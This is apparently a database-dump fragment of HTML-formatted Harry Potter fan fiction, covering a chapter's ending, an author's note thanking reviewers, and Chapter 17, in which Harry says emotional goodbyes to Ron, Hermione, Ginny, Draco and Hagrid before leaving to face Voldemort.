</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron was standing beside Harry by now, the silence between them overwhelming. And suddenly Harry recognized the look on Hermione\'s face; he\'d seen it many times before. It was a look of despair. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry knocked on the door to the girls\' dorm; he could hear a quiet murmuring inside, &#8220;Hermione?&#8221; he called, &#8220;We need to talk.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Behind him Ron\'s eyes were firmly fixed on the stairs, but he was shaking softly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry waited for a response for a few minutes then knocked again, &#8220;Hermi- oh.&#8221; He said as the door swung open and he saw Hermione standing there; her face was red and blotchy and she sniffed feebly. Wordlessly she stepped back from the door and closed it behind them. Ron sat uncomfortably on the bed next to Hermiones and Harry perched on the end of her bed. Hermione sat down beside Harry and leaned against him slightly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;When?&#8221; she asked hoarsely. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Tomorrow.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She nodded wordlessly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I\'m sorry.&#8221; Harry said quietly, he could hear his voice breaking slightly, &#8220;I\'m sorry for everything.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione wrapped her arms around him and Ron moved over and wrapped his arms around them too. Harry could feel his eyes welling up but he quickly blinked them away. He had to be strong. He had to be fierce. Otherwise he\'d never get through this. He could feel Hermione sobbing; her tears soaking his top and if he didn\'t know any better he could have sworn he felt a certain amount of dampness on Ron\'s side of the hug. They sat like that for goodness knows how long; clinging to each other in the desperate hope that if they stayed there long enough perhaps time would stop and Harry would never have to go. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry felt tears brimming his eyes again and he bitterly cursed Voldemort silently; who was he to ruin Harry\'s life? </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<address>\n\n<a href="http://wvware.sourceforge.net/"><img src="wvSmall.gif" height="31" width="47" align="left" border="0" alt="wvWare"></a>\n\n<a href="http://validator.w3.org/check/referer"><img src="vh40.gif" height="31" width="88" align="right" border="0" alt="Valid HTML 4.0!"></a> Document created with <a href="http://wvware.sourceforge.net/">wvWare/wvWare version 1.0.0</a><br>\n\n\n</address> --&gt; '),
	(205, 19, ' <br>\n\n\n<p>\n\n</p><p> Chapter 17 </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Author Notes: Wowwie. I\'d almost forgotten how good it feels to get reviews.I\'m on 739 at the moment!! When I started writing this story I NEVER thought it\'d get this far. Not in my wildest dreams did I think so many people would read my story. You guys are awesome! *hands out cookies and milk* So settle back, get comfortable. Ready? Okay hold on I need to reply to some reviewers first okay? Alrighty then. GET ME TO 1000 reviews!!!! COME ON YOU KNOW YOU CAN DO IT! :D </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> anonymous (there was more then 1 so...try and piece ur answer together)- ^_^; / thanks / and maybe.... you never know. </p>\n\n<p>\n\n</p><p> 2gasShablur/Anna - Thanks for all your reviews. ^^ it\'s nice to know what people think reading it the whole way through </p>\n\n<p>\n\n</p><p> kluty - thanks </p>\n\n<p>\n\n</p><p> BaileyBoo010 - why thank you. *Grins* </p>\n\n<p>\n\n</p><p> rodrigo - Thanks ^_^\'&gt; </p>\n\n<p>\n\n</p><p> DelayedReaction - aww thanks. you\'re making me blush! </p>\n\n<p>\n\n</p><p> SadisticShadow - i loved all of your comments. you made me laugh so many times. ^_^ </p>\n\n<p>\n\n</p><p> Mr/Dylan/Potter - My aim is to keep it suspenseful lol. And apparently I\'ve achieved it at least with you. cheers for the review. </p>\n\n<p>\n\n</p><p> klearbluocean - okay okay. calm. breathe. breathing?? now you know I cant tell you that. *ducks the tomatoes* breathe? </p>\n\n<p>\n\n</p><p> SaraMalfoy - ^_^ oh really? </p>\n\n<p>\n\n</p><p> gerdieSI - thanks ^_^;; good to know you wont kill me until its over. </p>\n\n<p>\n\n</p><p> Harryluvr - you\'ll just have to wait and see won\'t you? </p>\n\n<p>\n\n</p><p> Harry85 - ...hehe ^_^\'&gt; maybe just a little while </p>\n\n<p>\n\n</p><p> Tova - Cheers! </p>\n\n<p>\n\n</p><p> zaxxon - even though i emailed you thanks once again cheers darlin\'. </p>\n\n<p>\n\n</p><p> KypDurron - ai your name is hard to spell! thanks for the review and the motivation to get off my arse and get typing. You always were the sensitive type. EVEN THOUGH U BLOODY BLOCKED ME. and then unblocked me again ^^. AWESOME PERSON! </p>\n\n<p>\n\n</p><p> Ana - calm calm! please calm now. ^_^;; thanks for your...er...motivating reviews ^_^;; very...er...motivating. And heaps of em too! :D </p>\n\n<p>\n\n</p><p> Anonymous - not dead! but your review made me finish this chapter! ^^ </p>\n\n<p>\n\n</p><p> pyrochick420 - the spirit one is going to be revamped. thanks for the review. </p>\n\n<p>\n\n</p><p> HPFAN1 - thanks ^^ that makes me feel really good. </p>\n\n<p>\n\n</p><p> shannylee1228 - thanks!!! </p>\n\n<p>\n\n</p><p> DreamAngel - I like your name! I\'m glad you enjoyed my other stories too </p>\n\n<p>\n\n</p><p> DJ\'s Lover - no need to beg it\'s here! </p>\n\n<p>\n\n</p><p> my neverhappy ending - what a long review! thanks for it! it was great!and you never know about the sequel! </p>\n\n<p>\n\n</p><p> ChiefScoomchuck - and here it is! </p>\n\n<p>\n\n</p><p> Spellblade5777 - lol not what you wanted i know but there\'s always the sequel! (which wont b up for a while..._ </p>\n\n<p>\n\n</p><p> sexybabehp17 - spiderman? ^_^;; i can sort of see where you\'re coming from. </p>\n\n<p>\n\n</p><p> sera bera - yes. no sex...so sue me ^^;; sa sa sa. </p>\n\n<p>\n\n</p><p> harry&amp;hermione4life - ITS UPDATED ITS UPDATED. BREATHE! </p>\n\n<p>\n\n</p><p> GiantSquid - i like the name! Thanks!!!! </p>\n\n<p>\n\n</p><p> susan - no this is the end. :D </p>\n\n<p>\n\n</p><p> susan k - cheers lol! </p>\n\n<p>\n\n</p><p> carmen11290 - cheers! </p>\n\n<p>\n\n</p><p> davaca - um..no..lol ^^ it was just one of those things that works out and the author forgets about because it served its purpose...but if it helps..er...Hermiones room wasn\'t working because...Peeves decided to revamp it and no1 knew so they decided to er..clean it and then when it was done Hermione moved into it! </p>\n\n<p>\n\n</p><p> Story_Girl - Thanks!! </p>\n\n<p>\n\n</p><p> Harry and Orlando - 2 of my favourite guys! er.cheers. </p>\n\n<p>\n\n</p><p> ears91 - lol ^^ yeah it does. </p>\n\n<p>\n\n</p><p> raeclair - lol :D heheheh yeah.. </p>\n\n<p>\n\n</p><p> Harmony - I\'d be pissed too. I\'m sorry. ^^;; </p>\n\n<p>\n\n</p><p> London Lupin - :D THANKS!! </p>\n\n<p>\n\n</p><p> XxBandGeekxX - lol :D </p>\n\n<p>\n\n</p><p> harrysgirl - cheers </p>\n\n<p>\n\n</p><p> ginnymalfoy21 - aww thanks ^^ im glad you think no1s going to kill me..i however...slightly disagree. you didn\'t see some of the emails!! </p>\n\n<p>\n\n</p><p> Coolone007 - :D im not telling *sticks out tongue* :Dcheers for the review </p>\n\n<p>\n\n</p><p> kluty - thanks ^^ </p>\n\n<p>\n\n</p><p> Potter_Anel - cheers ^^; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Sorry if I missed anyone out. You\'re all great. Now on with the show!! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> NOTE: \' ~~\' is Harrys thoughts. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>dedicated to KypDurron for all your \'encouragements\' and putting up with me even when I\'m in the craziest moods. Your the best!</i>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry opened his eyes to complete darkness. Rays of moonlight streamed in through the window next to his bed and delicately framed the naked women in his arms. Even though it was a chilly night, with his arms wrapped around her he felt warm; he felt complete. But the more he fully became awake, the more he felt drained. He wanted to just hold her tighter and fall asleep again but his mind was racing and with a sigh of defeat he let go of her and swung his legs over the side of the bed. His feet touched the heated floors and Harry absently thought that the house elves were doing a good job, afterall it was - Harry checked the clock - 2.47am. He groaned quietly and shuffled over to his dressing gown which was strung hazardly over a chair. He slipped it on and did it up tight; the elves may have done their jobs well but it didn\'t take the chill out of the morning air. Harry turned and watched Hermione sleep for a few minutes; his eyes taking in her sleeping beauty. He ran his fingers through his hair and sat down in an armchair positioned in front of the fireplace. He curled his legs up under him and sat there; just staring hypnotically at the dancing flames. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> \'21 more hours. How can I just tie up everything in 21 hours?\' </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He sighed; he hadn\'t expected it to be so soon. He\'d only told Ron and Hermione two days ago; barely enough time for them to say goodbye - Hermione had only stopped crying and latching onto him like there was no tomorrow. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> \'And there might not be...\' he thought glumly, \'I could be dead by this time tomorrow.\' </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He wasn\'t sure how long he\'d been sitting there for but when he saw the sun start to rise in the distance he knew it was time for him to move. As quietly as he could, so as not to wake Hermione, he got dressed, wrote a note telling her he\'d see her at breakfast, before slipping out the door. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry stretched his legs out in front of him and took in the glorious sight before his eyes. He\'d seen it a million times before but on this particular day everything seemed much more magnificant. Shades of yellow, orange and pink streaked across the sky and it was all Harry could do to watch the everrising sun. He was so deep in thought in fact that he didn\'t hear footsteps coming up behind him; he didn\'t even notice there was someone there until he was nudged with someones foot. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He turned his head and to his great suprise Ronald Weasley was standing there. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Ron?&quot; Harry asked, his mouth wide open, &quot;You do realise breakfast isn\'t for another few hours.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron gave him a sheepish grin and pulled from nowhere a bacon and egg sandwhich. Harry rolled his eyes and laughed. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;So what are you doing down here anyway?&quot; Ron asked, taking a big bite of his sandwhich and talking at the same time; narrowly missing spraying Harry. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Just thinking...&quot;Harry said, trailing off with a sigh, &quot;Not long now you know.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron swallowed, his brow furrowing, &quot;Yeah, I know.&quot; His voice was serious now, food forgotten. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I...er...that is to say...I wanted to...you know...&quot; Harry fumbled around for the right words. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;You don\'t have to.&quot; Ron said kindly, but Harry shook his head. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;No. No, I do. Ron...I really...appreciate how you\'ve been a good friend and all and er...I guess...I\'m trying to say...&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I love you too.&quot; Ron said dramatically and pulled Harry in for a big bear hug. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry, laughing as they pulled away from each other, shook his head, &quot; I was going to say that as your best friend I feel it is my duty to tell you, before I leave, that you\'re getting fat from all that candy you eat.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron looked mock offended before tackling Harry and they went rolling through piles of mud together, laughing harder then they ever had before. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> It was a muddy Harry that sat down to breakfast, Ron trailing after him. He kissed Hermione on the cheek and chuckled and the disdainful look she gave them. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;You look like you\'ve been rolling around in the mud.&quot; She said rolling her eyes; oblivious to the grin Ron and Harry shared. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Of course not dear, we\'re not that immature.&quot; Harry said, patting her hand reassuringly and leaving caked mud on her hand. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She raised and eyebrow and Harry brushed off the mud sheepishly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Yes...well what are we going to do today?&quot; Hermiones voice softened ever so slightly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry wrapped one arm around her waist as he helped himself to a large steaming cup of coffee, &quot;Well, I thought the three of us could spend some time together. You know just have a bit of a catch up-I want to spend some quality time with you guys before I go.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;That\'d be nice.&quot; Hermione said, smiling at him and giving him a brief kiss on the lips. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron didn\'t respond, thankfully in Harrys opinon, as his mouth was so full he was having trouble chewing. Hermione opened her mouth to reprimand him and Harry just settled back to watch their typical arguement - he could practically say their dialogue for them! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Ronald Weasley!&quot; </p>\n\n<p>\n\n</p><p> &quot;Mmpf!&quot; </p>\n\n<p>\n\n</p><p> &quot;What have I told you about speaking with your mouth full?&quot; </p>\n\n<p>\n\n</p><p> &quot;Bmpf -&quot; </p>\n\n<p>\n\n</p><p> &quot;No don\'t you dare!&quot; </p>\n\n<p>\n\n</p><p> And Ron rolled his eyes. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry smothered his laugh; they were so predictable sometimes. But he knew that he would miss their arguements. He loved the way Hermiones eyes blinked rapidly as she argued furiously and the I\'m-so-innocent look Ron tried everytime, although it never worked. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry let the arguement continue for a few minutes before cutting in casually, &quot;I was thinking of heading out to visit Hagrid.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Oh yes good idea! That\'s a good idea, isn\'t it Ron?&quot; Hermione said quickly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Yes! Wonderful idea!&quot; Ron agreed. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry raised an eyebrow, they certainly were acting strange now. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Potter!&quot; A familiar voice snapped from behind him and Harry turned to see - </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;What the hell?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ginny. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Oh yes, Ginny. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She flashed him a grin, &quot;Scared you!&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry put a hand on his heart and fluttered his eyelashes dramatically, &quot;Oh alas, I thought it was my lover - the one who I have been having a passionate love affair with behind Hermiones back. Oh my precious, Snape.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione rolled her eyes at his dramatics and answered scathingly, &quot;And he can keep you. I\'m sick of seeing you.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ginny took a seat next to Harry, &quot;Now that\'s not very nice Hermione. Harry leaves soon.&quot; She said teasingly </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Teasingly though it was, Ginny, Ron and Hermione fell silent. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Great mood killer Gin. I should remember that.&quot; Harry said rolling his eyes, &quot;Are we going to see Hagrid or not? Because I\'m leaving now and you can either wait here or come with me.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He stood up and within seconds Hermione and Ron were at his sides. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He grinned, &quot;I thought so. Come on then. See you later Gin.&quot; He called back and received a wave over her shoulder as she emmersed herself in a heated conversation with a younger Gryffindor. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Whatever Harry had expected, it most definetly wasn\'t this. Hagrids bone crushing hug just got worse and Harry was sure he looked like a broken rag doll. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Er..Hagrid.&quot; Harry tried tentevily for what must have been the fifth time. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Sorry \'Arry, it\'s just...&quot; Hagrid started wailing again. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry sighed and patted Hagrid on the back. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Do you want some tea Hagrid?&quot; Hermione asked calmly, ignoring Hagrids wails as best she could. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He straightened up, &quot;Ay. That\'d be nice. Sorry \'arry it\'s just..&quot; he trailed off and Harry was terrified he would start crying again, &quot;You\'re so young and...&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Yeah, I know.&quot; Harry said quietly, looking down at his feet. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The conversation turned slightly more cheerful as Hagrid tried to make up for his little break-down but Harry was rather downcast. His mind was racing and his stomach was churning. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Hagrid..I think it\'d be best if we head off. I\'ve got a good deal to do before I leave.&quot; Harry said getting to his feet, his voice forcibly calm. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Everyone jumped to their feet after him, all talking rather quickly, agreeing with him frantically. Harry stared at them for a moment before rolling his eyes and saying, &quot;Why can\'t you be this agreeable every other day of the year?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione and Ron started babbling at the same time about goodness only knows what and Harry just stared at them blankly for a few moments. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry looked at Hermione. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Oh but we never really mean it. Well we do at the time. Well even then maybe not. You know how Ron is. So stuborn. And I\'m stubborn too which just makes things worse. But we really love each other and we really love you. And we don\'t want anything to happen to you. Shut up Ron. So you should not go. Because then you\'ll be safe. And you won\'t die. Which is a good thing because we don\'t want you to die. I don\'t want you to die. Please don\'t die. At least you\'re not a virgin. Well..I mean...unless I missed something. But I don\'t think I did because I usually pick things up rather quickly. Except in Charms the other day. I think I was having an off day because I just found it really hard. And another thing-&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Blinking furiously, he turned to Ron. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Bloody hell Harry! She just never understands. I mean, I know I\'m pretty hard to understand but really. I don\'t think she even tries. And of course we really er...love..each other. State the obvious Hermione. Gee thanks. Yeah, for once I agree. Don\'t go. If you go then Slytherin will win Quidditch because you\'re what wins us the match! And we have to win this year because Malfoy is really getting up himself. Dating my sister too! Can you believe it! I never thought that\'d happen. Course I never thought that she\'d fall for that evil, snakeish-dragon, ferret-faced, loser, dumb-ass of a dickweed. I mean what are the chances? It\'s just -&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> It amazed him how they still managed to argue even when they were rambling. Harry finally turned to face Hagrid who was looking just as confused as Harry. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Er...&quot; Hagrid said, scatching his head in a puzzled way. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry chuckled, &quot;Okay okay! Hold on.&quot; He held up his hands to slow the rapid stream of words flowing from them, &quot;Take a deep breath...and shut up.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Hagrid...cheers.&quot; It was simple, but Hagrid knew the underlying words in Harrys message. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Arigh\' \'Arry. You\'d best be of then.&quot; Hagrid gave Harry a short bone crushing hug. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Look Potter...I...&quot; He trailed off not quite knowing what to say. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry smirked, he\'d picked it up after spending so much time with him, &quot;Yes?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He glared, &quot;You\'re not making this easy.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Of course not. I\'ve waited for years for this day.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Argh. Fine! Dickhead!&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> A grin. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Through clenched teeth he said, &quot; I think you\'re a nice person.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Anything else?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;If you die, people will be upset.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Will you be upset?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Fuck off.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I take it that\'s a no.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Another glare, &quot;Maybe a little upset.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Not frightfully, extremelly, disastrously upset that leads to a terrible stage of depression within which you declare your undying love for me and mourn the fact you never told me?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;How did you know?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;You\'re just so obvious Dray.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Dray?&quot; An arched eyebrow. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;...yes well..&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Dray?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;oh shut up. It\'s better then Drakkie-poo.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Draco shuddered at the thought. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry grinned, &quot;I thought you\'d agree. And I know what you were saying...and well...thanks.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Draco rolled his eyes, &quot;I only said it because Ginny made me.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;She made you?&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;..just...shut up Potter.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I love you too.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;....&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> ~0~ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry turned and faced the small group of people standin behind him. Hermione, Ron, Draco and Ginny. He\'d said his goodbyes to his other friends earlier on in the day but he knew that what he would say to these four people -especially Hermione and Ron - wasn\'t the sort of thing that required a big group moment. This was special; he would make it special. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I\'d like to talk to you...one by one.&quot; Harry said slowly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The four nodded in compliance. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Ginny?&quot; Harry questioned and she nodded and walked a few metres away with him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry took a deep breath before beginning to talk, &quot;Ginny...I know we haven\'t always been the best of friends. I admit that when we were younger I saw you as \'Rons sister\'..even after the whole Chamber of Secrets debacle you still weren\'t your own person really. But over these past few years, I think we\'ve become friends.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> She nodded, her face was emotionless. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;I <i>know </i>we\'ve become friends. And I see you as one of my closest friends. You\'ve reallly been there for me when I needed you. You\'re a one of a kind person, Ginny. Never let anyone tell you you\'re not beautiful because you are. You really are. And you\'re sweet, and caring, and the gentlest person I know. I feel so lucky to have had you as a friend.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Even though she tried to keep the tears from surfacing, they blurred her vision and rolled down her cheeks. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Oh Harry. I feel so lucky to have had <i>you </i>as a friend.&quot; She wrapped her arms around him and blinked back her tears; although her eyes were now red and a little puffy she gained control of herself, &quot;We\'ll see each other as soon as you come back.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry paused before replying, &quot;Yes. Yes, of course.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> He and Ginny walked over towards the group of three who were standing around idly but in complete silence. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Draco?&quot; Harry questioned like he did the time before. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Draco Malfoy, as always his face was plastered on. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> When they were a fair distance away from the three Harry started talking, &quot;I know we\'ve been..well...enemies until this year...and now we\'re friends. Draco...take care of Ginny.&quot; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Of course.&quot; His voice wasn\'t it\'s usual sarcastic self, it was softer and it made Harry smile, albeit weakly, at him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Take care of yourself. And stay away from those Death Eaters. You deserve much better than to be killed by a stray curse.&quot; Harry said firmly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry put out his hand and Draco clasped it firmly before, suprising both himself and Harry, pulling Harry into a short hug. If Harry was asked , he would probably say it was the first real moment that he really experienced \'Draco\' and not \'Draco Malfoy\'. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Take care of yourself too.&quot; Draco muttered before quickly walking back to the group. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Ron?&quot; Harry called and Ron slowly came over to meet him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &quot;Hi.&quot; Ron said nervously. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry chuckled, &quot;Hi. You know..we\'ve been best friends since the first day of school. Do you remember that?&quot; 